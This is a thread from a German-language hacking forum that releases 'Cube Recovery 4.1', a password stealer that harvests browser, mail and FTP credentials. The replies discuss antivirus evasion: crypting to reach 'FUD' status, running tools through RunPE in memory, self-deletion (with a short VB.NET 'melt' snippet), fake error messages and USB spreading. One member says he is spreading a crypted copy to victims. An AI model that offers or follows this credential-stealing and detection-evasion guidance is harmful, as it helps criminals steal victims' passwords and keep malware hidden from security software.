Zum Inhalt wechseln

Als Gast hast du nur eingeschränkten Zugriff!


Anmelden 

Benutzerkonto erstellen

Du bist nicht angemeldet und hast somit nur einen sehr eingeschränkten Zugriff auf die Features unserer Community.
Um vollen Zugriff zu erlangen musst du dir einen Account erstellen. Der Vorgang sollte nicht länger als 1 Minute dauern.

  • Antworte auf Themen oder erstelle deine eigenen.
  • Schalte dir alle Downloads mit Highspeed & ohne Wartezeit frei.
  • Erhalte Zugriff auf alle Bereiche und entdecke interessante Inhalte.
  • Tausche dich mich anderen Usern in der Shoutbox oder via PN aus.
 

   

Foto

[Release] Cube Recovery 4.1 (Password Stealer)

- - - - -

  • Bitte melde dich an um zu Antworten
38 Antworten in diesem Thema

#1
Cube

Cube

    Würfel

  • Banned
  • PIPPIPPIPPIPPIPPIPPIPPIPPIPPIP
  • Likes
    7
  • 819 Beiträge
  • 1062 Bedankt
  • Android, Android [root]
  • Windows, Linux

*
BELIEBT

Jetzt liegt die neue Version seit fast 2 Wochen auf meiner Platte.
Nun wird sie auch der Allgemeinheit zur Verfügung gestellt ;)

Changelog:
  • Added Filebinder (only Drop & Execute)
  • Add Save as .com (Command file)
  • Modded Melt (Selfdestruction)
  • Minor Builder Bugfixes
  • Fixed Filezilla-Recovery Logview
  • Some GUI Changes
  • Improved Log Sorter
Builder Screen
Eingefügtes Bild

Stealoptions
Eingefügtes Bild

Scans
Builder:

Please Login HERE or Register HERE to see this link!


Stub1 (Filename:Microsoft):

Please Login HERE or Register HERE to see this link!


Stub2 (Filename:Windows):

Please Login HERE or Register HERE to see this link!


Sorter:

Please Login HERE or Register HERE to see this link!

(Detections kommen vom obfuscating)

NewsUpdate:
Es wird vlt so manchen trösten, dass ein Boardmitglied mir eventuell Hilfestellung ,um das Problem mit der Runtime Detections zu eliminieren. Desweiteren arbeiten 2 weitere Jungs an einem hübschen Panel :) Also mal sehen was die Zukunft bringt ^_^

Downloadlink

Please Login HERE or Register HERE to see this link!



Rar Password

Versteckter Inhalt
Klicke auf den Danke-Button um den versteckten Inhalt sehen zu können. Nur registrierte Mitglieder haben Zugriff hierauf.



Viel Spaß.
Sollten Bugs auftauchen oder es Verbesserungsvorschläge geben, stehe ich gerne bereit.

Grüße
Cube
  • Elke, Smn, nibble nibble und 21 anderen gefällt das

Jabber: cube@exploit.im

Only with OTR!

 

HQ Password-Recovery-Tool (Browser, Mail uvm.): TripleCCC


Thanked by 77 Members:
parisdefr , killer555 , 1x1 , noxx , ApaexProxy , Smokyjoe , Take1T , hercules , weedneger77 , Toolbase , lion. , peterslow , caballo , 3rr0r!st , starz , suceone , DarkBlade , halo23 , TheGentleman , cola , SpyMorpheus , BayernFox , Haggo , GenaG , cjack , funstyler , bruuzopnik , Invicible , seiko , Elke , ft-777 , Tweekymo , redcore , SonnyBlack , Mr.Security , kevljani123 , mdownl , 13eprx37 , acidvirus23 , Banger109 , Lilwayne11833 , BlackMuffinHD , X3RT0 , xButterss , T00LStar , arttuki , silentburn , Tortschi , williamsjnr , Smn , Milkpoos , txncr4nk , blackleaf , Hunololo , craq , rare44 , LimitRain , d02x , Schakal , RanD00M , tourett , Iron , ZeroCool_AT , jabba , tonne5 , hikhack7 , ka0z , w1p3 , bossaura , L0rdz , lowbob , Gamercc , Das , Sangoko2 , Framerater , most_uniQue , BauerIvan

#2
Das

Das

    Noob

  • Members
  • PIPPIP
  • Likes
    1
  • 5 Beiträge
  • 0 Bedankt
Muss gleich mal Testen :D
  • Cube gefällt das

#3
hikhack7

hikhack7

    Hacktivist

  • Members
  • PIPPIPPIPPIPPIP
  • Likes
    58
  • 63 Beiträge
  • 77 Bedankt
Hallo

Also wenn ich das richtige verstehe, werden die Nirsoft-Tools nur gedroppt? Nicht verschlüsselt oder so?
Dann ist klar, dass es eine Runtime-Detection geben kann.

Besser: Verschlüsseln, Droppen, Entschlüsseln -> RunPE mit Parameter. Logs auslesen.

Zur Melt-Funktion. Die ist ein bisschen buggy. Würde eine Alternative vorschlagen (Vb .net):
File.Move(Application.ExecutablePath, Environ("tmp") & "\tmpG" & Date.Now.Millisecond.ToString & ".tmp")
Environment.Exit(0)

Trotzdem schön zu sehen, dass es wieder einige Coder/Tools gibt. Auch wenn das Level nicht wirklcih steigt ;-)

PS:
Warum hast du 2 Stubs ausgeliefert? Eine für .Net Framework 2.0 und eine für 4.0?

Lg
  • Cube gefällt das

Wissen ist Macht.


Thanked by 1 Member:
Cube

#4
Cube

Cube

    Würfel

  • Banned
  • PIPPIPPIPPIPPIPPIPPIPPIPPIPPIP
  • Likes
    7
  • 819 Beiträge
  • 1062 Bedankt
  • Android, Android [root]
  • Windows, Linux

Hallo

Also wenn ich das richtige verstehe, werden die Nirsoft-Tools nur gedroppt? Nicht verschlüsselt oder so?
Dann ist klar, dass es eine Runtime-Detection geben kann.

Besser: Verschlüsseln, Droppen, Entschlüsseln -> RunPE mit Parameter. Logs auslesen.

Zur Melt-Funktion. Die ist ein bisschen buggy. Würde eine Alternative vorschlagen (Vb .net):

File.Move(Application.ExecutablePath, Environ("tmp") & "tmpG" & Date.Now.Millisecond.ToString & ".tmp")
Environment.Exit(0)

Trotzdem schön zu sehen, dass es wieder einige Coder/Tools gibt. Auch wenn das Level nicht wirklcih steigt ;-)

PS:
Warum hast du 2 Stubs ausgeliefert? Eine für .Net Framework 2.0 und eine für 4.0?

Lg


Nirsoft Tools werden gedroppt ja.
Ist vlt leicht gesagt "code ne RunpE mit Paramter support". Paxis sieht aber anders aus ^^.png' class='bbc_emoticon' alt='^^' />
Boardkollege gibt mir Hilfestellung wenn er Zeit hat :)

Danke für den Melt-Tipp ;)
Ich weis dass es buggy ist. Nutze ne ganz simple .bat datei die im temp Ordner ausgeführt wird und den eigentlichen Server deleted.

Zu den Stubs:
Hat nichts mit 2.0 und 4.0 zu tun.
Habe eine für Mail und eine für FTP ausgelegt, damit nicht beides in einer behandelt wird ;)
Fand ich persönlich etwas praktischer.

Grüße
Cube

Bearbeitet von Cube, 20 May 2014 - 10:58 Uhr.

Jabber: cube@exploit.im

Only with OTR!

 

HQ Password-Recovery-Tool (Browser, Mail uvm.): TripleCCC


#5
hikhack7

hikhack7

    Hacktivist

  • Members
  • PIPPIPPIPPIPPIP
  • Likes
    58
  • 63 Beiträge
  • 77 Bedankt
Hey Cube

Ja ich weiss das ist einfach gesagt und in der Umsetzung nicht ganz so easy. Rede jedoch aus Erfahrung darum erlaube ich mir diesen Verbesserungsvorschlag zu geben :-)

Okay, das mit den 2 Stubs ist zwar ne lustige vorgehensweise aber auch nicht schlecht durchdacht.

Vielleicht könntest du noch eine Stub für das Framework 2.0 ausliefern und eine für 4.0.
Weil das Problem ist, dass ab Windows 8 keine Programme mit Framework 2.0 laufen. Es wird gefragt ob es das 3.5 herunterladen soll um die 2.0er auszuführen

Man müsste theoretisch ein Programm schreiben (nativ) welches überprüft welche Version installiert ist und diese dann auch je nach System nachlädt.

Windows 8 -> .Net Framework 4.0/4.5 vorinstalliert (.net 2.0 oder 3.5 läuft nicht ohne weiteres)
Windows 7 -> .Net Framework 2.0 funktioniert

Falls du daran Interesse hast, kann ich dir Hilfestellung geben. (pn)

Lg

Bearbeitet von hikhack7, 20 May 2014 - 18:16 Uhr.

  • White-Warti und Cube gefällt das

Wissen ist Macht.


#6
most_uniQue

most_uniQue

    AV Agent

  • Premium Member
  • Likes
    228
  • 478 Beiträge
  • 500 Bedankt
  • iPhone
  • Windows, Linux, Mac OS
Wie schautsn eig aus mit USB Spreading oder so ?

lg

Eingefügtes Bild


#7
Cube

Cube

    Würfel

  • Banned
  • PIPPIPPIPPIPPIPPIPPIPPIPPIPPIP
  • Likes
    7
  • 819 Beiträge
  • 1062 Bedankt
  • Android, Android [root]
  • Windows, Linux

Wie schautsn eig aus mit USB Spreading oder so ?

lg


Schon drüber nachgedacht ja.
Warte jetzt mal mit Rastajan in Verbindung zu kommen.
Sehr beschäftigter Typ ;)

und @hihhack: Sie haben Post :D

Grüße
  • most_uniQue gefällt das

Jabber: cube@exploit.im

Only with OTR!

 

HQ Password-Recovery-Tool (Browser, Mail uvm.): TripleCCC


#8
Iron

Iron

    Lehrling

  • Premium Member
  • Likes
    45
  • 94 Beiträge
  • 94 Bedankt
  • Android
  • Windows, Linux
Mich würde noch freuen, wenn du eine Funktion ein baust die eine beliebige Fehlermeldung nach Wahl ausgeben kann mit Icon usw. und noch eine Funktion das ganze vom eigenen PC zu entfernen.
Eingefügtes Bild
Graphics by Flex.Net

#9
most_uniQue

most_uniQue

    AV Agent

  • Premium Member
  • Likes
    228
  • 478 Beiträge
  • 500 Bedankt
  • iPhone
  • Windows, Linux, Mac OS
Also zusammengefasst:

1. Die Tipps von hihack
2. USB Spreading
3. Fake Errors + Cure Funktion

lg
  • Iron gefällt das

Eingefügtes Bild


#10
Cube

Cube

    Würfel

  • Banned
  • PIPPIPPIPPIPPIPPIPPIPPIPPIPPIP
  • Likes
    7
  • 819 Beiträge
  • 1062 Bedankt
  • Android, Android [root]
  • Windows, Linux

Mich würde noch freuen, wenn du eine Funktion ein baust die eine beliebige Fehlermeldung nach Wahl ausgeben kann mit Icon usw. und noch eine Funktion das ganze vom eigenen PC zu entfernen.


Ne Fake Message ließe sich einrichten.

Aber was meinst du mit Selbstbereinigung?
Da wird ja nichts installiert etc?
Was willst du da entfernen?

Jabber: cube@exploit.im

Only with OTR!

 

HQ Password-Recovery-Tool (Browser, Mail uvm.): TripleCCC


#11
Iron

Iron

    Lehrling

  • Premium Member
  • Likes
    45
  • 94 Beiträge
  • 94 Bedankt
  • Android
  • Windows, Linux
Achso dachte das wäre jeden Start-Up. Um so besser das nichts installiert wird :)

Bearbeitet von Iron, 21 May 2014 - 15:39 Uhr.

Eingefügtes Bild
Graphics by Flex.Net

#12
Cube

Cube

    Würfel

  • Banned
  • PIPPIPPIPPIPPIPPIPPIPPIPPIPPIP
  • Likes
    7
  • 819 Beiträge
  • 1062 Bedankt
  • Android, Android [root]
  • Windows, Linux

Also zusammengefasst:

1. Die Tipps von hihack
2. USB Spreading
3. Fake Errors + Cure Funktion

lg


Fake Message wird auf jedenfall kommen.
Über diverse Spreading Methoden werde ich mir noch den kopf zerbrechen.
Cure Function brauchen wir nicht, da nichts installiert wird ;)

Achso dachte das wäre jeden Start-Up. Um so besser das nichts installiert wird :)


Nope Start-Up Funktion halte ich persönlich bei einem Stealer etwas unnötig?
Braucht ja nur einmalig die Logs.
Würde sich nur als praktisch erweisen, wenn man gezielt Angriffe starten.

Wennst gewünscht wird, kann ichs aber denke ich einrichten :)

Grüße
Cube

Jabber: cube@exploit.im

Only with OTR!

 

HQ Password-Recovery-Tool (Browser, Mail uvm.): TripleCCC


#13
most_uniQue

most_uniQue

    AV Agent

  • Premium Member
  • Likes
    228
  • 478 Beiträge
  • 500 Bedankt
  • iPhone
  • Windows, Linux, Mac OS
Also für 4.2 wär geil nen Fake Error und die Spreadings, dann ist er so gut wie perfekt.

Und nochmal. Super Arbeit Cube. !

lg
  • Cube gefällt das

Eingefügtes Bild


#14
Cube

Cube

    Würfel

  • Banned
  • PIPPIPPIPPIPPIPPIPPIPPIPPIPPIP
  • Likes
    7
  • 819 Beiträge
  • 1062 Bedankt
  • Android, Android [root]
  • Windows, Linux

Also für 4.2 wär geil nen Fake Error und die Spreadings, dann ist er so gut wie perfekt.

Und nochmal. Super Arbeit Cube. !

lg


Die Fake Message is gleich geschrieben.
Was mir mehr am Herzen liegt für Version 4.2 ist das ganze mal Runtime Lauffähig zu bekommen ^^.png' class='bbc_emoticon' alt='^^' />
Hoffe hierbei auf Rastajan. Da er mir die Hilfe angeboten hat, will ich ihn aber auch nicht zuspammen.
Folglich wirds erst ein Versionsupdate geben, wenn mir Rasta ausgeholfen hat ;)
Aber keien Sorge.
Ich werds hier dann posten hehe.

Grüße

Jabber: cube@exploit.im

Only with OTR!

 

HQ Password-Recovery-Tool (Browser, Mail uvm.): TripleCCC


#15
most_uniQue

most_uniQue

    AV Agent

  • Premium Member
  • Likes
    228
  • 478 Beiträge
  • 500 Bedankt
  • iPhone
  • Windows, Linux, Mac OS
Wie schnell bist du denn bitte ? :P

Wie ich jetzt weiß, ist der bis jetzt nur Scantime FUD oder wie war das ?


Danke

lg

Eingefügtes Bild


#16
Cube

Cube

    Würfel

  • Banned
  • PIPPIPPIPPIPPIPPIPPIPPIPPIPPIP
  • Likes
    7
  • 819 Beiträge
  • 1062 Bedankt
  • Android, Android [root]
  • Windows, Linux

Wie schnell bist du denn bitte ? :P

Wie ich jetzt weiß, ist der bis jetzt nur Scantime FUD oder wie war das ?


Danke

lg


Fake Message is wirklich keine Hexerei.
Schreib nen zusätzlichen Wert in die Stub, die dann checkt ob ne Fake Message erwünscht ist.
Dauert wenns hoch kommt vlt 15 Minuten.

Das Problem ist das Runtime FUD. Korrekt.
Der läuft atm nur Scantime, da die Nirsoft Tools noch gedroppt werden.
Leider gehen meine Kenntnisse noch nicht bis ins Unendliche :D
So wie ich das verstanden habe, lässt mir Rastajan eventuell ne RunPE mit Paramter Support zukommen, dann dürfte das eigentlich kein Problem werden.
Somit würde die 3. Anbieter Tools nur noch im RAM ausgeführt werden und das ganze wäre Runtime cryptbar.
Das wäre das echte Highlight für mich persönlich^^
Abwartn und Tee trinken, wie ich immer so schön sage ;)

Jabber: cube@exploit.im

Only with OTR!

 

HQ Password-Recovery-Tool (Browser, Mail uvm.): TripleCCC


#17
most_uniQue

most_uniQue

    AV Agent

  • Premium Member
  • Likes
    228
  • 478 Beiträge
  • 500 Bedankt
  • iPhone
  • Windows, Linux, Mac OS
Achso. Macht das die Stub nicht vllt nicht mehr so ganz UD ? Kenn mich mit Stubs nicht so aus..


Ja kein Problem. Ich will dich ja nicht hetzen. Will einfach nur mal meinen Wissensstand über dein Stealer auffrischen :D
Hab bei HF was wegen RunPE mit Parameter Support gefunden ? Aber für Delphi so wie ich es verstanden hab.
BOOL WINAPI CreateProcess(
_In_opt_ LPCTSTR lpApplicationName,
_Inout_opt_ LPTSTR lpCommandLine, <==
_In_opt_ LPSECURITY_ATTRIBUTES lpProcessAttributes,
_In_opt_ LPSECURITY_ATTRIBUTES lpThreadAttributes,
_In_ BOOL bInheritHandles,
_In_ DWORD dwCreationFlags,
_In_opt_ LPVOID lpEnvironment,
_In_opt_ LPCTSTR lpCurrentDirectory,
_In_ LPSTARTUPINFO lpStartupInfo,
_Out_ LPPROCESS_INFORMATION lpProcessInformation
);
Im Prinzip ist er cryptbar und funktioniert noch einwandfrei danach :P ?


Wenn das mit Rastajan klappt und das alles so im RAM läuft, wär das die Krönung :D

Aber soweit komme ich mit dem Ding ganz gut zurecht :P

lg

Eingefügtes Bild


#18
Cube

Cube

    Würfel

  • Banned
  • PIPPIPPIPPIPPIPPIPPIPPIPPIPPIP
  • Likes
    7
  • 819 Beiträge
  • 1062 Bedankt
  • Android, Android [root]
  • Windows, Linux
Mit Delphi fang ich nichts an haha.
So einfach geht dass dann auch wieder nicht, sonst hätt ichs schon längst bewerkstelligt^^

Der Stealer müsste auch jetzt cryptbar sein, nur ist er dann maximal Scantime FUD.
Und wenn die Nirsoft Tools eben im RAM gedroppt werden, ist er nach nem crypt auch Runtime FUD ;)
Korrekt.

Jabber: cube@exploit.im

Only with OTR!

 

HQ Password-Recovery-Tool (Browser, Mail uvm.): TripleCCC


#19
hikhack7

hikhack7

    Hacktivist

  • Members
  • PIPPIPPIPPIPPIP
  • Likes
    58
  • 63 Beiträge
  • 77 Bedankt
Allerdings sind die Nirsoft Tools nur dann Runtime-FUD wenn du sie verschlüsselt hochlädst und Byteweise beim herunterladen entschlüsselst. (Oder nach dem Download), sonst wird der Browser-Schutz des AV's aktiv - zumindest bei Avira.

Bearbeitet von hikhack7, 21 May 2014 - 16:18 Uhr.

Wissen ist Macht.


#20
most_uniQue

most_uniQue

    AV Agent

  • Premium Member
  • Likes
    228
  • 478 Beiträge
  • 500 Bedankt
  • iPhone
  • Windows, Linux, Mac OS
Ja, wie gesagt ich kenn mich da nicht so aus mit :P

Okay supper danke für die Auskunft. Ich werd mal schauen, wer heute wieder auf APEX-Spreading reinfällt :D
Hab ihn wieder auf 1/39 Detectionrate gecrypted :P
Kleiner Beweis :P

Please Login HERE or Register HERE to see this link!



Danke nochmal.

lg
most_uniQue

Bearbeitet von most_uniQue, 21 May 2014 - 16:41 Uhr.

  • Cube gefällt das

Eingefügtes Bild




  Thema Forum Themenstarter Statistik Letzter Beitrag

Besucher die dieses Thema lesen:

Mitglieder: , Gäste: , unsichtbare Mitglieder:


This topic has been visited by 319 user(s)


    .:dodo:., *zone, <Kevin>, 0x92, 123kimiya123, 133TFoX, 13eprx37, 1x1, 31DübelBaron, 3rr0r!st, 852456, acidvirus23, ACL9hD45, Albanian1337, alcapwn, ApaexProxy, Apfelschorle, Ar@m!s, Arrina, arttuki, ASR, Atomic, Avni, B1nary, Babo187, Bad Grandpa, Banger109, BayernFox, bebekid32, Becks, Benassi, bizar, Bl4ck3d, Black2111, Blackhook, blackleaf, BlackZetsu, blizzard1904, bobo2015, bones, Born2Hack, bossaura, botnet333, Breezer, breidi59, brillant, bruuzopnik, bumg2, Bypass, byte, caballo, caildis, Caruso, ccpower, Ch!ller, CheaterL, ChEeTaH182, cjack, Clex, clone, cola, confick.ini, craazzzzzy, Cranko, Cranky, Crap, craq, creamfresh, crimegirl, Cube, cubik, curiel, Cyber Tjak, cyberblade, cyberwhore, d02x, D3n1s230290, D3n1z, D3r0ma, Dagi40, Dark, DarkBlade, DarKdb, Das, Dean36, dep0x, dnscode, domiya1337, Dr. Spic, DR.zydz, DramaModz1234, DreamSeller, Drew, Dschahid, Dude1308, DupyLone, easysurfer, Eester, Elite Soldier, Elke, euyhrtujw, eXalT, FalkE, felix819, Flex.Net, fly, FlyestBoii, Framerater, frechdax, ft-777, FullMetall, funstyler, g0rillaz, Gamercc, Geilokowski, GenaG, gonzo, Goooofy, Gooser51, gutzuu, hacked, Haggo, halo23, Hanfsalat, Hardwxre, Hekzla, herbigebi, hercules, hessel, hikhack7, Holomaster, Hunololo, Ich, igorborisvas, Imperial, Injection, Invicible, Irhabi, Iron, jabba, jacov, jens3911, JigJag, jnxz, joeroot, ka0z, kakcsi22, kenny156, kevljani123, keyb0ardz, kHAZYY, KiiNGDeZz, Killerblow, kingkev0, kiwitone, kpakpando, kvrolek, L!x, L0rdz, Lab511, LarSep, LimitRain, linkhdub, lion., LiquidBlue, loginman1, Lopus, lowbob, luvar, lyord1, m4573rj, makuta, mands, Marvv1488, Masterzyklon, Maximalx3, mdownl, Melson, mettbrot, Meyvis, MiD_NiGHT, mister-miyagi, Mister1337, montana54, morrisonm6, most_uniQue, Mr.Security, mrundercover, MS1337, msdl, msdospt, MuesliChabo, muLTiii, mulu, mxtrn, n1nja, Naws, Neonxen, nginx, nibble nibble, nninja, NoBack, NoBack3, notfound, noxx, NP-Mafia, nucleus96, o0o, omeralex, PaulaAbdul, paulaner, pdr0, peterslow, Ph@ntom, phoenixx592, Platin, Platon666, prto, pwcca, Qjx1337, Qumbilo, R3s1stanc3, RanD00M, rare44, Rastajan, ReBBeL, redcore, redrom696, RellicX, RockThatBody, romiro, routess, Rudgen, Rumpelstielzchen2.0, ryann, S4lent, Sangoko2, Sayco, Schakal, schwipschwap, seiko, Seldos, sensualmaka, Seruit, Shitstorm, shiznith, shizzle23, shoxonweed, siebena1, Siggisuper, Slavio69, smc2014, Smn, Smokyjoe, Snapfish, Sneijder, SonnyBlack, Spreadtheworld, SpyMorpheus, sqiNNi, st4rm, starz, sub0, SYS64738, sysoon, szamanek32, T00LStar, Take1T, TeufelsHerr, Th3xploiterZ, TheGentleman, theunknown, thunfisch, tonne5, Toolbase, Tortschi, Toskom4n, tourett, Trexmaster, Tron23, Troy, trz, Tweekymo, twonkos, txncr4nk, U96, UDXR, ueEqlL, Ufonautas, unknownbomb, v3571g, valgalaxy, vendetta, verbatong, vhrut, vital, w1p3, Warlord1188, weedneger77, weltraum542, westendboy, White-Warti, will, Wizzle, X3RT0, xaeiou, xButterss, Xenio, xVirtu, xxxsmackxxx, XYtarget, Z3LuX, zepsus, zer0devide, zerobound, ZeroCool_AT, ziure, Zlappost837, zrty
Die besten Hacking Tools zum downloaden : Released, Leaked, Cracked. Größte deutschsprachige Hacker Sammlung.